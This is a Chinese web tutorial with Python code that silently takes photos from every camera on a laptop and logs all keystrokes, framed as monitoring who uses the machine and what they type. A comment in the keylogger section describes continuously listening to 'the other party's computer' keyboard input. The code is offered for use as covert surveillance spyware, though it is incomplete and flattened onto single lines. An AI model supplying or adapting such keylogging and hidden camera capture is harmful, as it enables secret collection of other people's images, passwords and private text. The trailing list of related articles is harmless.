使用Python實(shí)現(xiàn)全攝像頭拍照與鍵盤輸入監(jiān)聽功能
一、序
使用Python實(shí)現(xiàn)筆記本電腦對使用人的監(jiān)測,記錄下輸入的字符與使用人是誰
二、實(shí)現(xiàn)代碼
攝像頭拍照
def show_in_cv(camera_id): # 獲取當(dāng)前日期和時(shí)間 setTime() DayPaths = SavePath + f'\{formatted_date}' fileOrNone(DayPaths) datePaths = DayPaths + f'\{formatted_time}' fileOrNone(datePaths) cap = cv.VideoCapture(camera_id, cv.CAP_DSHOW) # cap.set(cv.CAP_PROP_FRAME_WIDTH, 960) # cap.set(cv.CAP_PROP_FRAME_HEIGHT, 540) # cap.set(cv.CAP_PROP_FPS, 30) suc, frame = cap.read() # 純英文路徑保存方法 # cv.imwrite(f'{datePaths}\{camera_id}.jpg', frame) # 中文路徑保存方法 cv.imencode('.jpg', frame)[1].tofile(f'{datePaths}\{camera_id}.jpg') # 彈窗展示功能 # cv.imshow("preview camera", frame) # cv.waitKey(30) def cameraMain(): # cameras = list_video_devices() # print(f'\n\n===========================\ncamera_list: {cameras}') # print(cameras) # idx = 1 # camera_id = cameras[idx][0] # camera_name = cameras[idx][1] # print(f'\n\n===========================\npreview camera: camera_id={camera_id} camera_name={camera_name}') # show_in_cv(camera_id) cameras = list_video_devices() for idx in cameras: camera_id = idx[0] camera_name = idx[1] show_in_cv(camera_id) if __name__ == '__main__': cameraMain()
鍵盤監(jiān)聽
CODE = "" # 一直監(jiān)聽對方電腦的鍵盤輸入 # 處理鍵盤輸入的數(shù)據(jù) def on_release(key): global CODE try: CODE += key.char # print(key) except Exception as e: try: if key == key.enter: # 如果掃碼槍中的數(shù)據(jù)是回車enter按鍵 print(CODE) except Exception as e: CODE = "" def getCODE(): return CODE # 監(jiān)聽鍵盤掃碼槍輸入 def returnCode(): with keyboard.Listener(on_release=on_release) as listener: listener.join() if __name__ == '__main__': returnCode()
到此這篇關(guān)于使用Python實(shí)現(xiàn)全攝像頭拍照與鍵盤輸入監(jiān)聽的文章就介紹到這了,更多相關(guān)Python全攝像頭拍照與鍵盤輸入監(jiān)聽內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
解決項(xiàng)目pycharm能運(yùn)行,在終端卻無法運(yùn)行的問題
今天小編就為大家分享一篇解決項(xiàng)目pycharm能運(yùn)行,在終端卻無法運(yùn)行的問題,具有很好的參考價(jià)值,希望對大家有所幫助。一起跟隨小編過來看看吧2019-01-01教你如何將 Sublime 3 打造成 Python/Django IDE開發(fā)利器
Sublime Text 是一款非常強(qiáng)大的文本編輯器, 下面我們介紹如何將 Sublime Text 3 打造成一款 Python/Django 開發(fā)利器:2014-07-07如何遠(yuǎn)程使用服務(wù)器上的Jupyter notebook
這篇文章主要介紹了如何遠(yuǎn)程使用服務(wù)器上的Jupyter notebook,主要是在服務(wù)器端執(zhí)行操作,需要特別注意為了防止遠(yuǎn)程中斷,使用掛起操作,即執(zhí)行nohup jupyter notebook,需要的朋友可以參考下2023-02-02python循環(huán)某一特定列的所有行數(shù)據(jù)(方法示例)
在Python中,處理表格數(shù)據(jù)(比如CSV文件、Excel文件等)時(shí),我們通常會使用pandas庫,因?yàn)樗峁┝素S富的數(shù)據(jù)結(jié)構(gòu)和數(shù)據(jù)分析工具,下面,我將以處理CSV文件中的某一特定列的所有行數(shù)據(jù)為例,給出詳細(xì)、完整的代碼示例,感興趣的朋友跟隨小編一起看看吧2024-08-08Python實(shí)現(xiàn)WGS84火星百度及web墨卡托四種坐標(biāo)系相互轉(zhuǎn)換
主流被使用的地理坐標(biāo)系并不統(tǒng)一,常用的有WGS84、GCJ02(火星坐標(biāo)系)、BD09(百度坐標(biāo)系)以及百度地圖中保存矢量信息的web墨卡托,本文利用Python編寫相關(guān)類以實(shí)現(xiàn)4種坐標(biāo)系統(tǒng)之間的互相轉(zhuǎn)換2023-08-08Python實(shí)現(xiàn)快速排序和插入排序算法及自定義排序的示例
這篇文章主要介紹了Python實(shí)現(xiàn)快速排序和插入排序算法及自定義排序的示例,自定義排序用到了Python的sort和sorted函數(shù),需要的朋友可以參考下2016-02-02python向企業(yè)微信發(fā)送文字和圖片消息的示例
這篇文章主要介紹了python向企業(yè)微信發(fā)送文字和圖片消息的示例,幫助大家更好的理解和使用python,感興趣的朋友可以了解下2020-09-09Python 實(shí)現(xiàn)一個(gè)手機(jī)號碼獲取妹子名字的功能
這篇文章主要介紹了Python 實(shí)現(xiàn)一個(gè)手機(jī)號碼獲取妹子名字的功能,本文通過實(shí)例代碼給大家介紹的非常詳細(xì),具有一定的參考借鑒價(jià)值,需要的朋友可以參考下2019-09-09tensorflow 環(huán)境變量設(shè)置方式
今天小編就為大家分享一篇tensorflow 環(huán)境變量設(shè)置方式,具有很好的參考價(jià)值,希望對大家有所幫助。一起跟隨小編過來看看吧2020-02-02